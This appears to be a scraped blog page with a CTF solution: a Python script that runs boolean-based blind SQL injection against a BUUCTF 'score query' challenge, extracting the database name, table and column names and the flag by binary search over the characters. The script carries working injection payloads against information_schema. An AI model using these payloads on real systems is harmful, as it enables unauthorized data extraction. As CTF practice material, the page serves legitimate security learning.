当前位置:网站首页>Bool blind note - score query
Bool blind note - score query
2022-07-03 19:39:00 【Forever culvert】
from aiohttp import Payload
from cherrypy import url
import requests
import time
from sympy import parallel_poly_from_expr
url = "http://0cfdc5c8-c87c-4e7f-b632-7f6c6ff7a2d0.node4.buuoj.cn:81/?stunum="
payload1 = "1^(ascii(substr((select(database())),{},1))>{})^1"
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"
database = ""
for x in range(1, 1000):
low = 32
high = 127
mid = (low+high) // 2
while low < high:
playload = payload4.format(x, mid)
new_url = url + playload
r = requests.get(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high) // 2
if (mid == 32 or mid == 132):
break
database += chr(mid)
print(database)
time.sleep(1)
print(database)
# ctf
# flag,score
# flag,value
边栏推荐
- Thinking about festivals
- 第一章: 舍罕王失算
- Native table - scroll - merge function
- Chapter 1: recursively find the factorial n of n!
- Zhang Fei hardware 90 day learning notes - personal record of day 3, please see my personal profile / homepage for the complete
- 第一章:简化同码小数和s(d, n)
- 2022-06-30 網工進階(十四)路由策略-匹配工具【ACL、IP-Prefix List】、策略工具【Filter-Policy】
- BOC protected amino acid porphyrins TAPP ala BOC, TAPP Phe BOC, TAPP Trp BOC, Zn · TAPP ala BOC, Zn · TAPP Phe BOC, Zn · TAPP Trp BOC Qiyue
- Chapter 1: simplify the same code decimal sum s (D, n)
- Chapter 1: find the factorial n of n!
猜你喜欢
BOC protected tryptophan zinc porphyrin (Zn · TAPP Trp BOC) / copper porphyrin (Cu · TAPP Trp BOC) / cobalt porphyrin (cobalt · TAPP Trp BOC) / iron porphyrin (Fe · TAPP Trp BOC) / Qiyue supply
[optics] vortex generation based on MATLAB [including Matlab source code 1927]
第一章:求奇因数代数和,求同吗小数和s(d, n),简化同码小数和s(d, n),拓广同码小数和s(d, n)
Chapter 20: y= sin (x) /x, rambling coordinate system calculation, y= sin (x) /x with profile graphics, Olympic rings, ball rolling and bouncing, water display, rectangular optimization cutting, R que
10 smart contract developer tools that miss and lose
Chapter 1: recursively find the factorial n of n!
第二章:基于分解的求水仙花数,基于组合的求水仙花数, 兰德尔数,求[x,y]内的守形数,探求n位守形数,递推探索n位逐位整除数
Xctf attack and defense world crypto advanced area best_ rsa
Bright purple crystal meso tetra (4-aminophenyl) porphyrin tapp/tapppt/tappco/tappcd/tappzn/tapppd/tappcu/tappni/tappfe/tappmn metal complex - supplied by Qiyue
Using the visualization results, click to appear the corresponding sentence
随机推荐
第一章:求同吗小数和s(d, n)
Free year-end report summary template Welfare Collection
JMeter connection database
第一章:三位阶乘和数,图形点扫描
Chapter 1: King Shehan miscalculated
Chapter 20: y= sin (x) /x, rambling coordinate system calculation, y= sin (x) /x with profile graphics, Olympic rings, ball rolling and bouncing, water display, rectangular optimization cutting, R que
NFT without IPFs and completely on the chain?
Unittest framework is basically used
Chapter 1: extend the same code decimal sum s (D, n)
第一章:求所有阶乘和数,大奖赛现场统分程序设计,三位阶乘和数,图形点扫描,递归求n的阶乘n!,求n的阶乘n!,舍罕王失算
UE source code analysis: uccharactermovementcomponent - rootmotion
Zhang Fei hardware 90 day learning notes - personal records on day 4, please see my personal profile / homepage for the complete
How does if ($variable) work? [repeat] - how exactly does if ($variable) work? [duplicate]
Web Security (VIII) what is CSRF attack? Why can token prevent csdf attacks?
Phpstudy set LAN access
Native table - scroll - merge function
February 14-20, 2022 (osgear source code debugging +ue4 video +ogremain source code transcription)
第二章:求a,b的最大公约与最小公倍数经典求解,求a,b的最大公约与最小公倍数常规求解,求n个正整数的的最大公约与最小公倍数
Day11 ---- 我的页面, 用户信息获取修改与频道接口
02 -- QT OpenGL drawing triangle